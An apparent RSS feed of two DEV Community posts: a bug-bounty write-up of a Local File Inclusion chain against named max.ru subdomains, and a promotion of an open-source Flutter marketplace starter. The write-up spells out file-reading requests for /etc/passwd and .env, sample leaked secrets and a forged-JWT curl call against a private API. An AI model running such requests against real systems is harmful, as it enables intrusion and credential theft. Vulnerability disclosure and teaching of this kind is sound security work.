<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dmitry Sorokin (@sorydima)</title>
    <description>The latest articles on DEV Community by Dmitry Sorokin (@sorydima) (@sorydima_68).</description>
    <link>https://dev.to/sorydima_68</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1244919%2F1ce60f61-6cc9-4675-b0ae-391fc56bd137.jpeg</url>
      <title>DEV Community: Dmitry Sorokin (@sorydima)</title>
      <link>https://dev.to/sorydima_68</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sorydima_68"/>
    <language>en</language>
    <item>
      <title>🔍 From LFI to Full Infrastructure Compromise — A CVSS 9.0 Real-World Case Study</title>
      <dc:creator>Dmitry Sorokin (@sorydima)</dc:creator>
      <pubDate>Thu, 14 Aug 2025 08:20:40 +0000</pubDate>
      <link>https://dev.to/sorydima_68/from-lfi-to-full-infrastructure-compromise-a-cvss-90-real-world-case-study-5g70</link>
      <guid>https://dev.to/sorydima_68/from-lfi-to-full-infrastructure-compromise-a-cvss-90-real-world-case-study-5g70</guid>
      <description>&lt;p&gt;This is the story of how a seemingly simple &lt;strong&gt;Local File Inclusion (LFI)&lt;/strong&gt; vulnerability escalated into a &lt;strong&gt;complete API and infrastructure compromise&lt;/strong&gt; during a bug bounty engagement.&lt;/p&gt;

&lt;p&gt;The vulnerability allowed me to retrieve sensitive configuration files from &lt;code&gt;*.max.ru&lt;/code&gt; subdomains, extract credentials, forge authentication tokens, and ultimately access private APIs and source code repositories.&lt;/p&gt;

&lt;p&gt;📺 &lt;strong&gt;PoC Video:&lt;/strong&gt; &lt;a href="https://youtu.be/ASeSyP0PTxg?si=s1p_BW9585zh5Q_q" rel="noopener noreferrer"&gt;YouTube&lt;/a&gt;&lt;br&gt;
📂 &lt;strong&gt;Evidence &amp;amp; Full Report:&lt;/strong&gt; &lt;a href="https://disk.yandex.ru/d/TVwFseRPnOP8FA" rel="noopener noreferrer"&gt;Yandex Disk&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1️⃣ Reconnaissance &amp;amp; Initial Finding
&lt;/h2&gt;

&lt;p&gt;During reconnaissance of the &lt;code&gt;max.ru&lt;/code&gt; domain, I focused on &lt;strong&gt;parameters likely to handle file input&lt;/strong&gt;. Two subdomains stood out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;business.max.ru&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;help.max.ru&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; parameter behaved suspiciously. Testing with &lt;code&gt;/etc/passwd&lt;/code&gt; returned actual system file contents — a classic LFI signature.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example test:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET https://business.max.ru/?file=/etc/passwd HTTP/1.1
Host: business.max.ru
User-Agent: Mozilla/5.0
Accept: */*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response (truncated):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The lack of sanitization allowed arbitrary local file reading.&lt;/p&gt;




&lt;h2&gt;
  
  
  2️⃣ Targeting High-Value Files
&lt;/h2&gt;

&lt;p&gt;Once confirmed, I prioritized files with the highest potential impact:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Potential Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Environment variables&lt;/td&gt;
&lt;td&gt;JWT secrets, DB creds, API keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;config.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Application configuration&lt;/td&gt;
&lt;td&gt;Database connection strings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.git/config&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Git repo configuration&lt;/td&gt;
&lt;td&gt;Repository URLs and tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/var/www/html/config/database.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DB credentials&lt;/td&gt;
&lt;td&gt;Full DB access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/proc/self/environ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runtime env vars&lt;/td&gt;
&lt;td&gt;Tokens in memory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Example request for &lt;code&gt;.env&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET https://help.max.ru/?file=/.env HTTP/1.1
Host: help.max.ru
User-Agent: curl/7.68.0
Accept: */*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Example response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;APP_ENV=production
DB_HOST=db.max.ru
DB_USER=max_prod
DB_PASSWORD=Sup3rS3cretPass
JWT_SECRET=4a9c9b8f8d2a46f83d8e70f...
GIT_TOKEN=ghp_7d9f4a8321b...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3️⃣ Secrets Obtained
&lt;/h2&gt;

&lt;p&gt;The extracted configuration files revealed multiple &lt;strong&gt;high-value secrets&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JWT_SECRET&lt;/strong&gt; — used to sign and validate authentication tokens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DB_USER / DB_PASSWORD&lt;/strong&gt; — full database credentials&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Personal Access Token&lt;/strong&gt; — R/W access to private repositories&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-party API keys&lt;/strong&gt; — payment gateways, analytics, and internal tools&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4️⃣ Exploiting the JWT_SECRET
&lt;/h2&gt;

&lt;p&gt;With the &lt;strong&gt;JWT_SECRET&lt;/strong&gt;, I could:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Forge my own valid JSON Web Tokens&lt;/li&gt;
&lt;li&gt;Replay existing leaked tokens&lt;/li&gt;
&lt;li&gt;Impersonate any user, including administrators&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;PoC request using forged token:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer forged_admin_token"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     https://api.oneme.ru/api/user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
Private API endpoints returned data without any password authentication.&lt;/p&gt;




&lt;h2&gt;
  
  
  5️⃣ Impact Analysis
&lt;/h2&gt;

&lt;p&gt;The vulnerability chain enabled:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Full API compromise&lt;/strong&gt; — direct access to private endpoints&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Database breach&lt;/strong&gt; — ability to dump, alter, or delete data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Source code leak&lt;/strong&gt; — private Git repos accessible with leaked tokens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lateral movement&lt;/strong&gt; — potential pivot to other internal services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Risk mapping (MITRE ATT&amp;amp;CK):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1005&lt;/strong&gt; – Data from Local System&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T1552.001&lt;/strong&gt; – Unsecured Credentials: Environment Variables&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T1078&lt;/strong&gt; – Valid Accounts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T1550.003&lt;/strong&gt; – Use of Web Tokens&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6️⃣ CVSS Scoring
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vector:&lt;/strong&gt; &lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Score:&lt;/strong&gt; &lt;strong&gt;9.0 (Critical)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Breakdown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AV:N&lt;/strong&gt; — Network exploitable&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AC:L&lt;/strong&gt; — Low attack complexity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PR:N&lt;/strong&gt; — No privileges required&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UI:N&lt;/strong&gt; — No user interaction required&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S:C&lt;/strong&gt; — Scope change (affects more than initial system)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C:H / I:H / A:H&lt;/strong&gt; — High impact on confidentiality, integrity, and availability&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7️⃣ Recommendations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Input Validation&lt;/strong&gt; — Sanitize and whitelist file parameters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Controls&lt;/strong&gt; — Restrict sensitive files from public access via server config.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secret Management&lt;/strong&gt; — Remove production secrets from deployable code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Rotation&lt;/strong&gt; — Immediately rotate JWT secrets and API keys after exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logging &amp;amp; Monitoring&lt;/strong&gt; — Detect suspicious file access patterns.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  8️⃣ Key Takeaways for Bug Hunters
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never underestimate an LFI — the real impact is in what it reveals.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;config.php&lt;/code&gt; are gold mines for credentials.&lt;/li&gt;
&lt;li&gt;JWT secrets are as sensitive as passwords — treat them accordingly.&lt;/li&gt;
&lt;li&gt;Git tokens can expose entire source codebases.&lt;/li&gt;
&lt;li&gt;Always think in terms of &lt;strong&gt;attack chains&lt;/strong&gt;, not isolated bugs.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Keywords:&lt;/strong&gt; LFI, Local File Inclusion, JWT Bypass, Token Replay, Auth Bypass, API Hack, Bug Bounty, Pentest, Web Security, CVSS 9.0, Security Research, Exploit&lt;/p&gt;




&lt;p&gt;This case reinforces a core truth in offensive security:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A single weak link — if exploited fully — can unravel the entire security posture of an organization.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>devops</category>
      <category>hackathon</category>
      <category>developer</category>
      <category>api</category>
    </item>
    <item>
      <title>🚀 My Modus: Flutter + Dart starter for integration with Wildberries, Ozon and La Moda</title>
      <dc:creator>Dmitry Sorokin (@sorydima)</dc:creator>
      <pubDate>Sat, 09 Aug 2025 14:20:11 +0000</pubDate>
      <link>https://dev.to/sorydima_68/my-modus-flutter-dart-starter-for-integration-with-wildberries-ozon-and-la-moda-489d</link>
      <guid>https://dev.to/sorydima_68/my-modus-flutter-dart-starter-for-integration-with-wildberries-ozon-and-la-moda-489d</guid>
      <description>&lt;p&gt;Today, the brands that can sell in several channels at the same time are the winners.&lt;br&gt;
We have developed My Modus — a ready-made open-source solution that allows you to launch an application for sales management on three major marketplaces at once in a few days: Wildberries, Ozon and La Moda.&lt;/p&gt;

&lt;p&gt;📈 Why does a brand need integration with several marketplaces&lt;/p&gt;

&lt;p&gt;Online trading has long gone beyond a single store.&lt;br&gt;
Presence on several platforms:&lt;/p&gt;

&lt;p&gt;Expands the audience — different marketplaces attract different segments of buyers.&lt;br&gt;
Increases turnover — more entry points = more sales.&lt;br&gt;
Reduces risks — a drop in sales on one platform is compensated by others.&lt;/p&gt;

&lt;p&gt;But each platform has its own API, its own data format and requirements. We solved this problem by creating a single multi-channel e-commerce starter on Flutter + Dart.&lt;/p&gt;

&lt;p&gt;🛠 Technologies and architecture&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2bgpugtsahi0tgh1xvcu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2bgpugtsahi0tgh1xvcu.jpg" alt="🚀 My Modus: Flutter + Dart starter for integration with Wildberries, Ozon and La Moda" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Frontend (Flutter):&lt;/p&gt;

&lt;p&gt;Web + Mobile (iOS, Android) from one code&lt;br&gt;
Multilingual (i18n)&lt;br&gt;
Navigation via GoRouter&lt;br&gt;
Adaptive design for any device&lt;/p&gt;

&lt;p&gt;Backend (Dart Shelf):&lt;/p&gt;

&lt;p&gt;Lightweight and fast HTTP server&lt;br&gt;
PostgreSQL&lt;br&gt;
JWT authentication (dart_jsonwebtoken)&lt;br&gt;
Module for integration with marketplace APIs&lt;/p&gt;

&lt;p&gt;DevOps:&lt;/p&gt;

&lt;p&gt;CI/CD via GitHub Actions&lt;br&gt;
Frontend autodeployment to GitHub Pages&lt;br&gt;
Backend autodeployment to Render&lt;/p&gt;

&lt;p&gt;🔌 Integration with marketplaces&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Wildberries API&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Catalog import&lt;br&gt;
Updating balances and prices&lt;br&gt;
Real-time order management&lt;br&gt;
Example: &lt;a href="https://www.wildberries.ru/brands/311036101-my-modus" rel="noopener noreferrer"&gt;Wildberries — My Modus&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Ozon API&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Automatic product publishing&lt;br&gt;
Description and image synchronization&lt;br&gt;
Logistics and delivery control&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;La Moda API&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Fashion collection loading&lt;br&gt;
Seasonal release support&lt;br&gt;
Example: &lt;a href="https://www.lamoda.ru/cb/355-34325/clothes-zhenskaya-odezhda-mymodusfashion" rel="noopener noreferrer"&gt;La Moda — My Modus&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevxw5z3t474eagwxq5zl.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevxw5z3t474eagwxq5zl.jpg" alt="🚀 My Modus: Flutter + Dart starter for integration with Wildberries, Ozon and La Moda" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;💡 Why Flutter + Dart&lt;/p&gt;

&lt;p&gt;One language for frontend and backend&lt;br&gt;
Flutter provides native speed on iOS, Android and Web&lt;br&gt;
Shelf — minimalistic, fast and easily extensible server&lt;br&gt;
Less time for development, easier support&lt;/p&gt;

&lt;p&gt;👥 Who is this project for&lt;/p&gt;

&lt;p&gt;Fashion brands — connecting several marketplaces from one application&lt;br&gt;
Agencies — quick launch of e-commerce solutions for clients&lt;br&gt;
Developers — a ready-made starter that can be supplemented and expanded&lt;/p&gt;

&lt;p&gt;🚀 How to start&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxdy38k14r16q0fllrno.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxdy38k14r16q0fllrno.jpg" alt="🚀 My Modus: Flutter + Dart starter for integration with Wildberries, Ozon and La Moda" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The My Modus project is open on GitHub:&lt;br&gt;
🔗 &lt;a href="https://github.com/sorydima/MyModusFlutter" rel="noopener noreferrer"&gt;https://github.com/sorydima/MyModusFlutter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can:&lt;/p&gt;

&lt;p&gt;Fork the repository&lt;br&gt;
Add new marketplaces (AliExpress, Avito, Yandex.Market)&lt;br&gt;
Make improvements via Pull Request&lt;/p&gt;

</description>
      <category>flutter</category>
      <category>dart</category>
      <category>cicd</category>
      <category>postgres</category>
    </item>
  </channel>
</rss>
